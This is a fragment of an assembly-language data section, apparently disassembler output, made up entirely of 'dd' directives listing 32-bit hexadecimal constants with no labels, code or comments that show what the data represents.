		dd 872FB198h, 0D1CBAF48h, 610E8040h, 9905DE77h,	0E425F9BCh
		dd 2F410070h, 0F13BD18Ch, 6509666Eh, 807BF890h,	1182BA30h
		dd 237904C8h, 0AE559826h, 0EEB0EC45h, 0A03850ECh, 0BC818309h
		dd 0CE03C476h, 682E130h, 98060D29h, 0F3C11EDh, 7F7D1C7Ch
		dd 75900C03h, 0EF1825E4h, 0E31D74FAh, 4F4A739Fh, 0DC17641Ah
		dd 6CC511h, 0E507B0C9h,	1FC0A7E0h, 401877EFh, 0DA5AB7B4h
		dd 47281787h, 0DF1C3410h, 400D4E2h, 18F14DAFh, 85D61C24h
		dd 762180FDh, 0F80D2786h, 97E1AB09h, 1EFC58E8h,	13DC6964h
		dd 0AAE8F025h, 3500C0A4h, 0BE32C9E9h, 2EA9F59h,	54586CC2h
		dd 0E0764F3Dh, 0B5900660h, 238001EAh, 8A46E217h, 4C0DD897h
		dd 8621751Fh, 0ACE0CD01h, 82F09631h, 0EE8026C9h, 0CEA700B2h
		dd 0FAF36563h, 9B9E0900h, 0BB2A43DDh, 60DF7398h, 0E82130CAh
		dd 890FA3B2h, 188BB966h, 30540D48h, 17603C79h, 2A009944h
		dd 6105712Dh, 0C3557FCh, 88A066FDh, 70E8CF31h, 3C90783Dh
		dd 506E046Fh, 3080C1EFh, 0B018B2A7h, 8C8F0034h,	0FC39CBBAh
		dd 0BF00788Eh, 0F54F3FACh, 1DACE18h, 0ECF84D21h, 80C1C4F4h
		dd 0EF280510h, 182A8F08h, 71D0A466h, 201852DFh,	50116E5Eh
		dd 0A97F003Ch, 7A533894h, 0C80C356Bh, 202A0C40h, 62C1000Fh
		dd 0DE038401h, 0C3002FD8h, 77E97B10h, 5F2DA5h, 0DA2B57D0h
		dd 55AA347Ah, 1D187667h, 261EA480h, 2C09000Dh, 0AD61F1CEh
		dd 0FDF8704Bh, 877FF978h, 50004378h, 0D767F591h, 76BEC5h
		dd 771D8DB9h, 0EE0C2073h, 0B22DD01Fh, 0FDCCA41Fh, 609A5072h
		dd 0B0BF682Bh, 4C3BC83Fh
		dd 773000Ah, 0D9EEEB5Ch, 0F76F3077h, 43E5A619h,	79763B1Fh
		dd 3DACA0Fh, 0C03A3119h, 60203F89h, 1D7D28B2h, 2F037317h
		dd 6B8F7709h, 0C218005Bh, 23DABDE7h, 79CA2460h,	29700476h
		dd 0EEED38D8h, 0CBE2CE80h, 7705C772h, 3514C5Ch,	538470E6h
		dd 12EC8D2h, 61F930CAh,	3DA179Ch, 0C458E600h, 0CC29EE02h
		dd 3A5F451h, 0EC771CCDh, 690FB345h, 8078D79Fh, 2A1EE2F9h
		dd 193B3A32h, 3C219E30h, 0A70F78DFh, 0E7FFB9Fh,	0C807203Fh
		dd 306FF35Dh, 0A4D89877h, 0BB08D4FEh, 817A877Dh, 36ECED16h
		dd 0B389F8F5h, 1E09FD66h, 0F75FA21h, 69EBD2EDh,	2A728237h
		dd 98AD80A0h, 547D3811h, 0F0D42651h, 0AC02D3E1h, 39A15DFDh
		dd 88908079h, 0C50CB0Fh, 0BEA5D6E3h, 0D8B5F558h, 1DD88848h
		dd 388C2025h, 36B4C901h, 904787FBh, 0E32D2080h,	0D77D7504h
		dd 120820A7h, 87F5C069h, 0D083403Bh, 486F81C0h,	0E324409Fh
		dd 3CFD0808h, 0C47AF301h, 2CE5CDBEh, 0A8DD986h,	3A0628BBh
		dd 72A2B91Ah, 21716008h, 0CDBB0262h, 0E2345Ch, 4954CCD5h
		dd 30E5E8B2h, 0C0F8A3C5h, 0F122E73h, 1440BA6Eh,	0DEE7B605h
		dd 936F0C52h, 0A1093A7Ah, 7DE521C0h, 7A3FA5F8h,	5823000Fh
		dd 52D890EBh, 7550E9F4h, 4B00C0B0h, 0D1180273h,	92675FB7h
		dd 0F480000h, 0BF40AFA6h, 2200A2D0h, 8174C71Ah,	30A45226h
		dd 0B44001E9h, 8F50CBA0h, 51073484h, 323F8868h,	0DFBF0411h
		dd 0A3DF0Bh, 429E783Bh,	28018CE7h, 0C00B5D6Ch, 41DF6FA1h
		dd 0A985DA69h, 2F714DB4h, 0A3238Ch, 2F633F74h, 940433CAh
		dd 2A70E4A8h, 46481CC1h, 0C3019423h, 0C2F9B178h, 8B770C19h
		dd 4590CBF3h, 7A0037D5h, 0CC57072Ch, 3D7EE4Bh, 0F243E253h
		dd 78182E34h, 69E925FDh, 5B5D0022h, 5349D3DEh, 0EEFE51B5h
		dd 54DF8904h, 0D882D265h, 0C544904Ah, 0F9CF1178h, 804C8832h
		dd 4F78CD72h, 0DC1CB21Dh, 0B824CE20h, 405594h, 821DF442h
		dd 498D7Ah, 2FEF517Fh, 0F2128B78h, 0C5FB2200h, 0A58A9991h
		dd 0BF882A43h, 647D98h,	0A331AE59h, 0C3901AB2h,	3BFFE300h
		dd 0CAD8EE1h, 50B0D4D8h, 0B5000823h, 0B752C3E7h, 8EC4A592h
		dd 0A6407CF8h, 0D0A9F0E8h, 43B28106h, 0B104F1h,	8D8CA345h
		dd 52E08960h, 85C664A0h, 7CFCD900h, 638FF557h, 59A0006Ch
		dd 949A659Bh, 0A82CC348h, 98321410h, 0D9A4B04Eh, 0F9AB0878h
		dd 4B641FD2h, 78C12640h, 6000372Ch, 4A476509h, 118BCA7h
		dd 5A6D76A2h, 20296B81h, 0AC005244h, 23AD94FAh,	426932h
		dd 50C824A1h, 0B8B2798Bh, 0B3052C99h, 0BB811FDCh, 38911EFEh
		dd 0B62803C2h, 0B84683h, 7EA05C80h, 409A39Ch, 784CB090h
		dd 8C04E8B0h, 275E3Ah, 1F4A6B56h, 45A32C6h, 0F818AEA0h
		dd 63E890A9h, 21EECBFh,	4D9390CDh, 1889B049h, 34FDDAE0h
		dd 0C718BAA5h, 561E517Ch, 0F51081B9h, 0A21EC27h, 31AA28A8h
		dd 57183A35h, 9CC4C648h, 30D78D36h, 17346C8h, 0F550ECE7h
		dd 50C8F2Eh, 4F3088h, 267FC1EDh, 4A32D2F6h, 8D32D5FAh
		dd 82D76833h, 8505E1A4h, 0F42F1D94h, 161C4C23h,	0A1950280h
		dd 0B9384F8Bh, 287C1404h, 178C77B8h, 7D52EDh, 6F53A9C0h
		dd 0D100E8B8h, 0EEA24E96h, 655D015h, 3F214A57h,	0D600E97Dh
		dd 7B31B45Ah, 26891819h, 119CA7E2h, 0BB5080CBh,	870ADAE1h
		dd 0BB086C05h, 94998C0h, 7D2E296h, 18CF63C1h, 0D96144B9h
		dd 2D442D4h, 8E7AB30h, 936752C5h, 0FA43A064h, 0E6F0F872h
		dd 6A70E19Ch, 89CF4E13h, 30C1F472h, 0E708BB5Eh,	641B1ADAh
		dd 366E403Eh, 0BEC7BBh,	4824D001h, 20E23934h, 0A5486FB8h
		dd 2E54859Ch, 0CFC3C800h, 0CFDA64Bh, 0AF8E155Eh, 0F90AC219h
		dd 6C3373F1h, 0B4850911h, 0DF7882E7h, 0AC44406Ch, 0F87302FFh
		dd 0A288473Dh, 7C800451h, 19836FF1h, 62EF01E2h,	0F28BE58Fh
		dd 5BC1812Eh, 649CB31Eh, 0BEDC30h, 0BC94B789h, 3FA1B869h
		dd 0C8908C68h, 11038209h, 0C4184B50h, 0F9B47804h, 903219CAh
		dd 78CC7520h, 8A1200C8h, 5BF850A4h, 7909CE73h, 9020F7A1h
		dd 0DD7BA540h, 2C8AB60h, 0B929F65Ah, 2024DC44h,	0F4423835h
		dd 61D840CEh, 57F38030h, 0E3A8D854h, 0CF8E38B9h, 1EAC0C1h
		dd 6F40248h, 74DA2E4h, 2E09F0FAh, 3022524Fh, 25BC502Ch
		dd 0D83A2775h, 0F425CC7h, 9ED0182Eh, 995D5C05h,	0A84B3D73h
		dd 118C1DFDh, 0C3208F43h, 0EC3CF3FAh, 0F792C92h, 0C2FC0DEAh
		dd 30951D68h, 81809091h, 114C668Ah, 0FB8EB201h,	1415E622h
		dd 60EEB040h, 0DF1D00B5h, 0F35F7075h, 7D6045C5h, 0B6660141h
		dd 1F26009Bh, 0C359B97Fh, 2258215Ah, 0E2A6C0DCh, 0CA0E1Bh
		dd 0B31A12D3h, 56A09EDAh, 43680102h, 4836C816h,	2A41E44h
		dd 613FBAE4h, 0EC6A2D7Fh, 0AC4C047h, 14B76060h,	3E074300h
		dd 0C1D1A35Fh, 6088966Dh, 7B942675h, 8290A0A0h,	4D25C004h
		dd 5081C4F9h, 80227045h, 0DE017523h, 3AF9AA78h,	7F884A18h
		dd 0CD7801C6h, 270E10D3h, 0FD14303Dh, 0F221F409h, 80C4295Bh
		dd 86BD1CD1h, 49B238DEh, 9D920682h, 0EC962438h,	4971E891h
		dd 643F6A18h, 45570CC7h, 0A07C81Ch, 3BD15AAAh, 43DB80B8h
		dd 7669CA50h, 0E49189Ch, 54805188h, 0EADB45BBh,	688F448Ch
		dd 0EEBB0C00h, 2F3B158Dh, 0F21606B0h, 50249057h, 0AC1E2238h
		dd 0C350D0D6h, 0D690231h, 0F34DB3D0h, 0C7005064h, 0EC1C6E7Ah
		dd 0E460FA18h, 50C23C3Eh, 0C874B69Bh, 2517F1D8h, 36119C99h
		dd 0D9E7B780h, 608CC752h, 7EFE610Eh, 3000BBF8h,	34B88291h
		dd 81FBAD5h, 7655A718h,	0CA353344h, 2E0EC40Ch, 0C3F00730h
		dd 525EFA04h, 8E1D61Ch,	4428A8h, 3FC59BF4h, 103907FFh
		dd 6093A0BAh, 0B86CC714h, 28058C09h, 27255452h,	80936404h
		dd 5A807D0Fh, 0AD786CBDh, 716171Fh, 9F3AC587h, 62FAE440h
		dd 3E12091Ah, 882A4F14h, 6078E4C0h, 2353ED44h, 41146F5h
		dd 7AECCF1Ch, 0AC56BB8Fh, 60FFD6BDh, 23510790h,	7A72F8A8h
		dd 0A96F8932h, 0C8D04CE3h, 0E2C07278h, 0EAF509ECh, 3D80858Ah
		dd 6C7AED4Ah, 0E919008Ch, 0BCA4AF71h, 7680D155h, 37460051h
		dd 5FBB4FD6h, 6104882Eh, 5ADBB922h, 3838D4D9h, 68C43ACh
		dd 7381FA62h, 3807488Ah, 27F592E3h, 34A4B8D4h, 0A8D353A9h
		dd 0EA3301E2h, 9D54C033h, 0F1C08003h, 0F18423F3h, 8C0C2DADh
		dd 0D51ED800h, 91573027h, 0AD59C321h, 14886299h, 261D6BFDh
		dd 0B60343F6h, 0D0F3A70Eh, 192CDC66h, 9C40A92h,	8721934Fh
		dd 0DCC52F00h, 534419h,	1BE854BCh, 897D69B3h, 0D8595200h
		dd 95E7EFF8h, 2D290393h, 0E2411A46h, 613191C1h,	7008006Bh
		dd 9E183A45h, 2E60470Ah, 55AA008Ah, 0B20F8891h,	8CC8089h
		dd 0E4B2121h, 0D722AAF2h, 1EA7F0A0h, 53E7392h, 0B2430C0Fh
		dd 96280Eh, 0FBF70263h,	336FA362h, 6A084B66h, 5B7D0021h
		dd 888BAD02h, 0A17207C3h, 0F87A46FCh, 8C37C529h, 0CD8F2011h
		dd 3CDC6042h, 3585001Ch, 152472FDh, 0DD080DFCh,	0E1463B1h
		dd 784CCD9Dh, 0E9190158h, 3918202Bh, 30388042h,	2B11AA8Ch
		dd 24889891h, 0AAF44980h, 1D2079Bh, 5E984552h, 80159E93h
		dd 7109B121h, 1DDC74CEh, 181F2312h, 3E47A075h, 29139B30h
		dd 8BF364h, 0DB332022h,	0CD619897h, 944AE528h, 45C11C0Fh
		dd 0F70E008Eh, 0C0169E35h, 0F30C6039h, 0E00F9329h, 41582664h
		dd 89662818h, 7D6043C8h, 9E72488Fh, 4CFF507Ah, 0D6DD1FC1h
		dd 718D5DB5h, 806A7F80h
		dd 0CB540B99h, 1902E0E6h, 41E8432Bh, 29218030h,	81F5CB2Ch
		dd 0F8D50694h, 59199E1Bh, 8E015374h, 0B5FA5A10h, 49F08448h
		dd 57F40079h, 1B9363E7h, 0C414B1CDh, 1FC00D75h,	0A9099DAh
		dd 750B5150h, 2CF8A9EBh, 6CF4F118h, 448CDC71h, 390281B3h
		dd 0BB47AEFDh, 6248879Bh, 98022180h, 0C5060045h, 0DACDDC91h
		dd 0A43C975Fh, 51C109B3h, 3E80037Ch, 4839F25Bh,	32B8C38h
		dd 99DC78CFh, 0A041324Fh, 971088C0h, 29A84C19h,	6FE8ED8Ch
		dd 229446DCh, 3E9E004Eh, 32884FFDh, 0C91891F1h,	0E0805C65h
		dd 24B7EEFFh, 74C47C7Fh, 8031A46h, 58E92992h, 63405012h
		dd 90BB040h, 7C80FA64h,	0FE20EC37h, 0EA3F00A5h,	9BE21848h
		dd 48D94591h, 89183978h, 9154AA04h, 27320CD0h, 0AAF1A22Fh
		dd 7271408Eh, 0DBD305E5h, 2124E399h, 88212E8h, 0F07A8C23h
		dd 24DC6111h, 848A4B88h, 7300A438h, 0A559F5DCh,	32530057h
		dd 5EFC9E37h, 50256E1h,	0B6C23571h, 4604C67h, 0E0E7CB51h
		dd 2032620Ah, 0B3CB292Eh, 0EF014576h, 53F4223Ch, 3FDDFC46h
		dd 0F18B884h, 6660D8F7h, 0FBF00208h, 4068C44Ah,	0F8025E76h
		dd 8CC60FE9h, 0C46F2FC7h, 0E7777140h, 643EF1D2h, 9D5287D9h
		dd 276250C9h, 44BC4741h, 0BC3E6033h, 0EC2B0FF0h, 245FF7FDh
		dd 0FE9B0118h, 0E843C951h, 1D549E3Eh, 740017D0h, 0C79B4AEBh
		dd 52720C4h, 0F1B999A8h, 57B4405Ch, 0BAB3347Dh,	9540690Fh
		dd 4EDC98Dh, 0C0673504h, 0F09128AAh, 48C004B1h,	79AAAF5h
		dd 16DF9D87h, 0B0E7A23Bh, 0D0E590A0h, 0B23EE0F4h, 0AE561F2Ah
		dd 97293102h, 5B84A41Ah, 8BCB5560h, 0C32AE038h,	2DF60D22h
		dd 0D9CB3Bh, 17381441h,	29C19089h, 0D1287B81h, 37D1879h
		dd 318C372Bh, 48016301h, 0C1D789FDh, 109268CDh,	0F00C083Ah
		dd 0F1026DC0h, 0A1722CFBh, 653F586Ch, 5DBF0200h, 0B0269779h
		dd 7DD90277h, 901C5B3h,	16F7F03h, 90329689h, 806D403Ah
		dd 27E32141h, 147880h, 0FEC858B5h, 3CF5A404h, 2A00FCF2h
		dd 4951E403h, 12534C3h,	0CBF76F53h, 51429561h, 0E0F2F4F0h
		dd 11DE5E89h, 0C171E99Bh, 0E4579353h, 0CCCBF5F0h, 30B03Eh
		dd 0F38D3961h, 0CD941F53h, 44932E16h, 0BE12431h, 0BE6CC214h
		dd 0B3621360h, 5A043176h, 4AD9CC16h, 8C3E64C8h,	51AAE602h
		dd 190CE891h, 8E571025h, 818600AAh, 89D5E9D9h, 0BCA7694Fh
		dd 7389B14Fh, 37DD7300h, 2E011F40h, 0E4D9B1BDh,	0BEEFEFE0h
		dd 0B65B14A0h, 548088EAh, 4BE9DC69h, 3CB31129h,	40189579h
		dd 2C1254E6h, 7D01F69Bh, 0B861CFE7h, 0D8317082h, 28405BF9h
		dd 4DF8FFA9h, 0DC5718C7h, 3B2613C3h, 7811E78h, 0C5180E73h
		dd 43A18C7Fh, 1D77697Bh, 40B953F0h, 0F1C749E1h,	310146E6h
		dd 6CC46F7Bh, 8DE8C592h, 0D124B15Bh, 77FC182Dh,	0ED5B3F07h
		dd 4D32D980h, 0FD5E2D63h, 8CE87639h, 0B8586A17h, 0B511240Fh
		dd 0FF188590h, 9DAC41F5h, 603377C1h, 0F719E035h, 7431BBADh
		dd 53F37C36h, 9A78908Fh, 5520EFE2h, 0B0F1245Fh,	6426806Ch
		dd 0BB515769h, 70C77E00h, 0DFD08EC4h, 0A13100F5h, 0CD8EE68h
		dd 4328E9DDh, 0E8ADF013h, 5AEA6EE0h, 0C98600E1h, 1CC52885h
		dd 0E20C558Ch, 98403DCFh, 441C99D4h, 26F608Eh, 82FB10CBh
		dd 8097C8A0h, 0C6026739h, 1201247Dh, 775138C9h,	25CC354Ch
		dd 0DD270075h, 3B3013DBh, 24141BA3h, 228CF17Ah,	5CC8C79h
		dd 0C4E3FFE4h, 0B2980833h, 0A201D280h, 0CF21CAh, 612A095Dh
		dd 44B19596h, 62B59309h, 0CB982191h, 0E0C801E5h, 0D54CEACFh
		dd 53109460h, 9161132Bh, 54BC3020h, 180C6E14h, 402816D6h
		dd 0F4C98EF4h, 0C00530B5h, 38558472h, 0E80F9C05h, 77050C80h
		dd 0DA4C096Dh, 1044B613h, 2D461CB0h, 6308F23Dh,	48C4F4DCh
		dd 0FD3A8240h, 0C500CA19h, 40531F2Eh, 563DD85Bh, 582284E1h
		dd 0DD934C00h, 2852A843h, 2AC000BDh, 0BB47D2DFh, 4D36CDE5h
		dd 20F08867h, 0F9F8336Bh, 1C221E4Bh, 44B4477Dh,	0B53C6024h
		dd 2010981Ch, 0F6309091h, 0DBBF9940h, 12C200E6h, 0D5C026BAh
		dd 1B3028EFh, 162DF1DAh, 0E2413891h, 0D4CFB681h, 3965F0C2h
		dd 0A7DA1314h, 0D511DC02h, 4D04426Ch, 6022C4CCh, 0F48BE0C9h
		dd 310709A6h, 0AC84F680h, 23DCA7BAh, 84F41E2Fh,	0A2C4DC6Dh
		dd 3C80C088h, 4F988FDh,	0C11F3F49h, 6AFC906Eh, 5A4D45F7h
		dd 0EC2E931Ch, 5F037F23h, 2609F866h, 90005C9h, 50493F0Fh
		dd 38280D3Ch, 28C4AACh,	0C9470DE4h, 7AE05FFEh, 26E88967h
		dd 5AE75826h, 0C80E9305h, 0E2E1A880h, 8F632EACh, 0D194A184h
		dd 271C4Ah, 0B5125ABDh,	43014B46h, 0BEFFC18h, 12A4B1D0h
		dd 8E621B31h, 0C04F88B8h, 291B0C48h, 56E13B00h,	70DBF715h
		dd 0F10F2605h, 26CC060h, 7A25FBF6h, 8814A1h, 8302643Ch
		dd 7E882BBCh, 8E692405h, 0C805610h, 1827D8B4h, 31674041h
		dd 123A2DECh, 3E58332h,	0D07A689Ch, 2A1F269Dh, 0E863C7h
		dd 376AF13Bh, 0DC620C34h, 32F374B0h, 2EA0003Ch,	86BA2B22h
		dd 3F7477EDh, 0E1814934h, 33CB0651h, 0F22022C2h, 71903337h
		dd 651F9E49h, 3DC67978h, 0B9625Dh, 200F2BAFh, 193CDE2Ch
		dd 94672400h, 8ABEF295h, 75F61836h, 4855E02Eh, 0ACB9BC90h
		dd 8E182D79h, 0DBB90600h, 207F1250h, 0DE7D09BCh, 64205851h
		dd 18195FBh, 9C92FCA0h,	18122B33h, 3221E1B9h, 504BB603h
		dd 4823583Ah, 0CCEDC500h, 10E865h, 764A73D7h, 1E8A1CCBh
		dd 5564000h, 0E1F760E5h, 3BD89244h, 3C4C2931h, 14F9660Ch
		dd 0D91B91D1h, 0F0189279h, 0DFA509F7h, 7DC10E30h, 3F10191h
		dd 1EB3E9DBh, 13ADD424h, 0F6E54F2h, 9D812FC4h, 6467F529h
		dd 3220CF70h, 93C12228h, 858F5202h, 0A0682F3Ah,	7AF662E8h
		dd 6EA53C44h, 1205A44Dh, 42B343F2h, 38955E8h, 0CA93CE4h
		dd 0B300D2B7h, 286CEF2h, 0F601F8Eh, 1848E264h, 7358D316h
		dd 8C23BC00h, 44758300h, 5AEE60C6h, 0C5FB38A1h,	0D806A8h
		dd 9EA9E8E1h, 7DEF6FD3h, 20944F51h, 5305A2B8h, 0C5C72B74h
		dd 87A88414h, 14AFE7E4h, 91C60084h, 93A65C82h, 16BB28ECh
		dd 0DF4501A4h, 39BD5D05h, 8BBEEC5Eh, 3B6C1F04h,	0D5046E85h
		dd 0D99D013Ah, 5880F7BCh, 7D8BA102h, 0B50E8D6Ch, 0F304DDBh
		dd 3CEFC146h, 9852F07Ch, 0C0B04DDDh, 70F530D6h,	6EE0D301h
		dd 50143ED5h, 2DBCC468h, 0C74B1D8Ch, 0B58C0077h, 62AEDC25h
		dd 33C9E717h, 0FB003213h, 491B549Ah, 6D020069h,	0EA51CEFAh
		dd 9450B9F7h, 0D01F0EB0h, 65173D7Dh, 0DF474040h, 6F25E6Bh
		dd 2DC6F6E2h, 8B0C06Ch,	0A03EF320h, 532550h, 0BA46146Dh
		dd 51C26655h, 2023D030h, 29407AB6h, 0E3202D3Bh,	33EC9F82h
		dd 0D2339250h, 16E7EF4h, 0DA692B39h, 0D1498BA8h, 0BC6028A5h
		dd 5A008C68h, 89604ADEh, 9C7BF99Fh, 506B9940h, 46118F4h
		dd 52FBCD02h, 80B4B2A3h, 3025973h, 0DBB0038h, 0D990D54Eh
		dd 0CC90BDEDh, 95E45C05h, 0A4027BCDh, 50C79C5Ah, 0F12612BCh
		dd 65D44059h, 0A12D039Ah, 1D8BED00h, 1043CB3Ch,	0B694B260h
		dd 48465E88h, 9E6F6300h, 0ADAEB7F2h, 0E76A760Bh, 3B7041DDh
		dd 0AA738F18h, 0F809110h, 0AAF74EB0h, 0C2021E0Ah, 113D901Bh
		dd 9E3D45FDh, 5D602960h, 0E1E2673Bh, 20A1D301h,	0BB43E968h
		dd 25EC40FAh, 614028ACh, 0F91D031Ch, 9BFEB8BFh,	0AE9CA790h
		dd 0FA1AA00h, 0EEFFE4E7h, 0A7C49004h, 63214484h, 2A10A002h
		dd 0FECF025Ah, 48A89E2h
		dd 0F5467858h, 0F2026002h, 0F0B35AFBh, 587040ACh, 60F32602h
		dd 5980489Eh, 0F725E737h, 424122Dh, 0FC9865ACh,	89CB0457h
		dd 322B1AE0h, 2F2C2034h, 160064CBh, 78F69793h, 4EE8BCCh
		dd 49ADFB3Eh, 0E280D115h, 2CAC3186h, 8C34BC18h,	0B291920Eh
		dd 0CF52E033h, 1276675h, 44548E56h, 3CFDA5FAh, 16E403C0h
		dd 534B79ECh, 25A210D0h, 5197BC30h, 482CB4E4h, 0CD819B80h
		dd 0AC02610Dh, 0E1633DD3h, 761EC0C1h, 7C93045Ah, 0FE283F71h
		dd 30113DC0h, 6878591Dh, 3C031708h, 0FDD80C3Eh,	6161864h
		dd 0CD2808A2h, 0FC171143h, 2C3EA47Dh, 94802323h, 3371FE69h
		dd 61C9073Ah, 0A0516DCFh, 9B31293Fh, 0D3311860h, 97E684h
		dd 0C0D43678h, 6F09A3E9h, 4AF48E0Bh, 0FE1002ADh, 98C08979h
		dd 0F48957A8h, 48F35B5Dh, 2BC05978h, 21E08DCBh,	7C912A3Ah
		dd 0E4232814h, 8A195B00h, 8953D166h, 6C9C2972h,	0E871BB1Bh
		dd 0BC4457FCh, 22467660h, 16A63F79h, 982EBF80h,	18747DABh
		dd 1F974C00h, 0ADFA5F06h, 4C654995h, 4E05116h, 0B0B34FB1h
		dd 1E639B2Ch, 0BF0DC851h, 8B492B90h, 54E6F4h, 1CAD40E1h
		dd 0B7E365ECh, 90AAE2E8h, 0DC7B0C71h, 8B625460h, 0F5562914h
		dd 61247CACh, 0DA403C8Ah, 98397451h, 0AD9B2AB4h, 0D91F268Ch
		dd 0C96641F4h, 0F4E9E404h, 694FCC14h, 0A5FB81D8h, 0E8AC6841h
		dd 3A3134CAh, 33223DCh,	0DDB8E7E9h, 76F589E0h, 217A7E33h
		dd 0DF1F02Eh, 0C03C0064h, 28D59DD4h, 730359AEh,	6D2E8CEh
		dd 9CC81232h, 0A0649709h, 47146E56h, 94359586h,	3660B301h
		dd 0C746C98h, 7C6102F4h, 599C5E5h, 0E287086Bh, 9D0045D5h
		dd 0B2B015C9h, 0E8FA4A68h, 0E684C2Ch, 47B10FC4h, 51C91647h
		dd 99DC0B1Ch, 1CB8900Ch, 4D0B9325h, 6E51C0B0h, 8E24E791h
		dd 72818049h, 6C030514h, 5F9AF843h, 2406FD8h, 9DA57FBh
		dd 39D45108h, 0B020845Ch, 60F89E5Ch, 0DF81B391h, 26213ECCh
		dd 7AE2B709h, 2C66182Bh, 0AB2068B0h, 339B341Dh,	0F28CE291h
		dd 63E13022h, 9AF67901h, 57EE350Dh, 2210B5D9h, 27014B85h
		dd 1B58EA9Dh, 0F4E45E86h, 8A060318h, 66438062h,	9DBCA13Fh
		dd 0D1802EDEh, 0B2F7BF22h, 0F55B0453h, 80F66180h, 0C36DDC95h
		dd 4ED92891h, 0CB5EDC19h, 0D4F45C16h, 4D258C04h, 59D5EA00h
		dd 0C60F7423h, 0EECCF14Bh, 0DBE66166h, 6422F55Ah, 22F007Ch
		dd 0AFDC7E19h, 500F9E5h, 54937F40h, 2AEB89C9h, 0C4647Dh
		dd 9EFADFCh, 0DA78531Ch, 18A3Bh, 0E645A524h, 5D7BB1DDh
		dd 204FB028h, 0BEA444F4h, 5068DA00h, 9D41582Ch,	0BF7E0089h
		dd 4E9314D0h, 2224FB39h, 5E1154A3h, 8CCB2E80h, 0C4BE72E0h
		dd 262B58h, 0B8BA85CBh,	60C58115h, 19C99108h, 0E7E0046Ch
		dd 11E0F4FDh, 1B3FDC99h, 0E2E6EDCFh, 0E5EC91F1h, 4AE84C8Eh
		dd 0E911A3E3h, 2CFA8801h, 0A9C0FFFBh, 0FF71D460h, 0B3F42609h
		dd 52A5D81Dh, 74960004h, 2992A048h, 0B1C297D1h,	2BAEDEFh
		dd 685944BEh, 70183479h, 9C423Eh, 4C39E65Dh, 9F1BF56h
		dd 74812206h, 0A6C21405h, 4F64B164h, 66E4F8C3h,	13815F3Dh
		dd 23FC3AF0h, 0FC540026h, 183201A0h, 0B2701104h, 3CE039C5h
		dd 0FC6E4C2Dh, 28C058C8h, 43E08ACBh, 20258222h,	0D3D080CBh
		dd 3F4CD0FCh, 56025529h, 40E76987h, 0C56BD8C8h,	0EFCA1300h
		dd 0E1DC1D3Fh, 5C15484Fh, 0D8335302h, 0C88461D5h, 0FA0A82C8h
		dd 4D71CCD1h, 0EA68EC19h, 540C8200h, 7CC88E2Fh,	0D1B8B16Fh
		dd 27D186Ch, 5EE16E19h,	0B89773DDh, 0D3802591h,	573BA23h
		dd 465CD896h, 0FE74016Ch, 0DBECBDD0h, 6117F468h, 0E4B88890h
		dd 5E20A320h, 6F6C202Eh, 0C400431Ah, 0F06C3363h, 2DE2B26h
		dd 6673BBB0h, 8C788D96h, 84E8E101h, 7E50FBD6h, 806579A5h
		dd 0D06795E4h, 0FCC6C1Eh, 3E161675h, 0DD16CFE7h, 2FB66CC2h
		dd 0A30718C0h, 0F9022161h, 7CE796E2h, 66EA40C2h, 926CA394h
		dd 40CC54EEh, 7568058Bh, 0E9B7E10Bh, 84BCA9B5h,	126F0DB0h
		dd 1C05C74Dh, 0EC81737Ch, 51006B55h, 1F13B2A8h,	6CCF8FC3h
		dd 37C03388h, 2CAAB63h,	91563ACCh, 58D039C1h, 0F306612h
		dd 89691044h, 0B9556CC1h, 0C0E99444h, 0DBEED3B8h, 24CA062Ch
		dd 20BF9909h, 92595508h, 278F309Ch, 2335110h, 7ED14099h
		dd 0C002318h, 0E2F29AE7h, 25A86E89h, 0C0297E1Fh, 910C3872h
		dd 0E86D7129h, 0E5E2040h, 0DB01E509h, 0C240CDA8h, 0A082FF68h
		dd 0E200428Dh, 9C0C93FDh, 79465E3Ch, 635B7D09h,	303C728Ah
		dd 0FDCD6569h, 7C1F614Ah, 0D08B00A2h, 65944BF2h, 0AE13E415h
		dd 7C8001FFh, 50BF61F9h, 8C3CD877h, 57AA8804h, 2062F891h
		dd 0AAF05520h, 8FF400A9h, 0A21CEE1h, 1150FFE0h,	93137CC9h
		dd 0BC2FC204h, 0AF003323h, 38864A1Eh, 3DF725FDh, 98510462h
		dd 0A43DFFC3h, 0B204F225h, 30FE3020h, 9242FD07h, 0FCC2143Eh
		dd 8CABB5h, 87D44678h, 0DF9C2447h, 2C97A744h, 44806E91h
		dd 0AD14C140h, 6CC76113h, 5A0C8h, 81C0AFE1h, 87F2E090h
		dd 0D610271Ch, 94068CD7h, 0E781A1Bh, 902C998Bh,	8EB53A45h
		dd 0C3348868h, 7DE0C681h, 122659BDh, 0E401BD44h, 69A3B8ADh
		dd 40EF1820h, 3301C98Eh, 6610B2FDh, 6434B488h, 9962447Ch
		dd 0AECEC800h, 0F3AFFAF4h, 94340492h, 0FC18A5DBh, 30F6B998h
		dd 0BB2EFA15h, 0BC206FEBh, 5F2D26ECh, 0F1E8327Ah, 186259DCh
		dd 0C5E51223h, 0DA68C0D9h, 9518F813h, 0D8107A19h, 1FEB29E9h
		dd 186AF1ECh, 0A835007Ah, 0A143275Ch, 61258FF8h, 0E2249B8Bh
		dd 0B1260735h, 0C0E5C9F5h, 0F11D18B7h, 56498B28h, 0F9A45160h
		dd 27184Ch, 312E0289h, 0C5CF1A65h, 6834485Ah, 37AC28ECh
		dd 396A008Ch, 4BBDE53Dh, 5E19828Ah, 0BBF96040h,	4C951480h
		dd 7C2F92EFh, 3A012A00h, 0FC51DFEBh, 20709844h,	80DE4555h
		dd 72A9310Fh, 0FBCAE0E4h, 23D83A05h, 35D90027h,	0CF3D1B78h
		dd 0F42F414Ah, 0AB027F23h, 0F039CF0Ah, 169C9494h, 0C47889E3h
		dd 2800A5E9h, 0D95AB7A9h, 0E272C7h, 0F616410Dh,	0D3966959h
		dd 0C9F4F71Ch, 0FB40739Ch, 0E6FAA4F1h, 4571250Ch, 0E91DB837h
		dd 6C89C741h, 0BDF4E2C4h, 974C9075h, 0B1911C17h, 3D7AE083h
		dd 32D5A4D0h, 0EF885CBCh, 9661041Ch, 0D9064041h, 0B498A2DBh
		dd 119360D8h, 5B845F69h, 23E02E73h, 0BFA60023h,	0D98DE755h
		dd 0E5B95703h, 26F75CDh, 7EC4690h, 0E8D9B324h, 57186AD1h
		dd 0E41AE500h, 44EF228Ah, 2CADF642h, 8B801D01h,	0E4456479h
		dd 2B8A188h, 0BAB5EFE0h, 0FC9D30CDh, 0C88E4656h, 3FC021C8h
		dd 4FF0127h, 0E9DDA35Bh, 0E508D0ABh, 4C9AD1ADh,	0C020C45Ah
